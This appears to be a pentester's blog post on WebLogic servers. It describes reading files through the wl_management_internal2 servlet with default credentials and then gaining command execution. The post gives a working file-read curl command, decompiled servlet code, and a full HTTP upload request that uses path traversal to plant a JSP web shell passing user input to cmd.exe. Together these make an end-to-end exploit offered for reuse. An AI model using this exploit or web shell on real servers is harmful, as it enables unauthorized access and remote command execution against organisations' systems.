WebLogic undocumented hacking
During an external pentest – what a surprise – I found a WebLogic server with no interesting contents. I searched papers and tutorials about WebLogic hacking with little success. The public exploitation techniques resulted in only file reading. The OISSG tutorial only shows the following usable file reading solution:
curl -s http://127.0.0.1/wl_management_internal2/wl_management -H "username:
weblogic" -H "password: weblogic" -H "wl_request_type: file"
-H "file_name: c:\boot.ini"
You can read the WAR, CLASS, XML(config.xml) and LOG(logs\WeblogicServer.log) files through this vulnerability.
This is not enough because I want run operating system commands. The HACKING EXPOSED WEB APPLICATIONS, 3rd Edition book mentioned an attack scenario against WebLogic, but this was only file read although it was based on a great idea:
The web.xml of wl_management_internal2 defined two servlets, FileDistributionServlet and BootstrapServlet. I downloaded the weblogic.jar file with the mentioned attack and decompiled the FileDistributionServlet.class:
total 128
drwxr-xr-x 2 root root 4096 2014-10-03 14:54 ./
drwxr-xr-x 24 root root 4096 2004-06-29 23:18 ../
-rw-r--r-- 1 root root 7073 2004-06-29 23:17 BootstrapServlet$1.class
-rw-r--r-- 1 root root 8876 2004-06-29 23:17 BootstrapServlet.class
-rw-r--r-- 1 root root 1320 2004-06-29 23:17 BootstrapServlet$MyCallbackHandler.class
-rw-r--r-- 1 root root 1033 2004-06-29 23:16 FileDistributionServlet$1.class
-rw-r--r-- 1 root root 1544 2004-06-29 23:16 FileDistributionServlet$2.class
-rw-r--r-- 1 root root 945 2004-06-29 23:16 FileDistributionServlet$3.class
-rw-r--r-- 1 root root 956 2004-06-29 23:16 FileDistributionServlet$4.class
-rw-r--r-- 1 root root 927 2004-06-29 23:16 FileDistributionServlet$5.class
-rw-r--r-- 1 root root 950 2004-06-29 23:16 FileDistributionServlet$6.class
-rw-r--r-- 1 root root 21833 2004-06-29 23:16 FileDistributionServlet.class
-rw-r--r-- 1 root root 364 2004-06-29 23:16 FileDistributionServlet$FileNotFoundHandler.class
-rw-r--r-- 1 root root 38254 2014-10-03 12:24 FileDistributionServlet.jad
-rw-r--r-- 1 root root 1378 2004-06-29 23:16 FileDistributionServlet$MyCallbackHandler.class
root@s2crew:/
The FileDistributionServlet had the following interesting function:
private void internalDoPost(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
throws ServletException, IOException
{
String s;
String s1;
InputStream inputstream;
boolean flag;
String s2;
String s3;
boolean flag1;
s = httpservletrequest.getHeader("wl_request_type");
httpservletresponse.addHeader("Version", String.valueOf(Admin.getInstance().getCurrentVersion()));
s1 = httpservletrequest.getContentType();
inputstream = null;
Object obj = null;
flag = true;
s2 = null;
s3 = httpservletrequest.getHeader("wl_upload_application_name");
flag1 = "false".equals(httpservletrequest.getHeader("archive"));
Object obj1 = null;
String s4 = null;
if(s3 != null)
{
ApplicationMBean applicationmbean;
try
{
MBeanHome mbeanhome = Admin.getInstance().getMBeanHome();
applicationmbean = (ApplicationMBean)mbeanhome.getAdminMBean(s3, "Application");
}
catch(InstanceNotFoundException instancenotfoundexception)
{
applicationmbean = null;
}
if(applicationmbean != null)
{
File file = new File(applicationmbean.getFullPath());
s4 = file.getParent();
}
}
if(s4 == null)
{
s4 = Admin.getInstance().getLocalServer().getUploadDirectoryName() + File.separator;
if(s3 != null)
s4 = s4.concat(s3 + File.separator);
}
Object obj2 = null;
if(s1 != null && s1.startsWith("multipart") && s.equals("wl_upload_request"))
{
httpservletresponse.setContentType("text/plain");
Object obj3 = null;
try
{
MultipartRequest multipartrequest;
if(httpservletrequest.getHeader("jspRefresh") != null && httpservletrequest.getHeader("jspRefresh").equals("true"))
{
s2 = httpservletrequest.getHeader("adminAppPath");
multipartrequest = new MultipartRequest(httpservletrequest, s2, 0x7fffffff);
} else
{
multipartrequest = new MultipartRequest(httpservletrequest, s4, 0x7fffffff);
}
File file1 = multipartrequest.getFile((String)multipartrequest.getFileNames().nextElement());
s2 = file1.getPath();
flag = false;
if(flag1)
{
String s5 = s2.substring(0, s2.lastIndexOf("."));
extractArchive(s2, s5);
s2 = s5;
}
----- CUT ------
After the investigating the function, I constructed the following HTTP POST request:
POST /wl_management_internal2/wl_management HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:20.0) Gecko/20100101 Firefox/20.0
Connection: keep-alive
username: weblogic
password: weblogic
wl_request_type: wl_upload_request
wl_upload_application_name: ..\..\..\..\..\..\..\..\..\you_can_define_the_upload_directory
archive: true
Content-Length: XXXX
Content-Type: multipart/form-data; boundary=---------------------------55365303813990412251182616919
Content-Length: 959
-----------------------------55365303813990412251182616919
Content-Disposition: form-data; name="file"; filename="cmdjsp.jsp"
Content-Type: application/octet-stream
// note that linux = cmd and windows = "cmd.exe /c + cmd"
<FORM METHOD=GET ACTION='cmdjsp.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {
e.printStackTrace();
}
}
%>
<%=output %>
<!-- http://michaeldaw.org 2006 -->
-----------------------------55365303813990412251182616919--
This is simple as that. The prerequisite of this exploit is the default weblogic/weblogic account.
This is what I call real hacking!
;)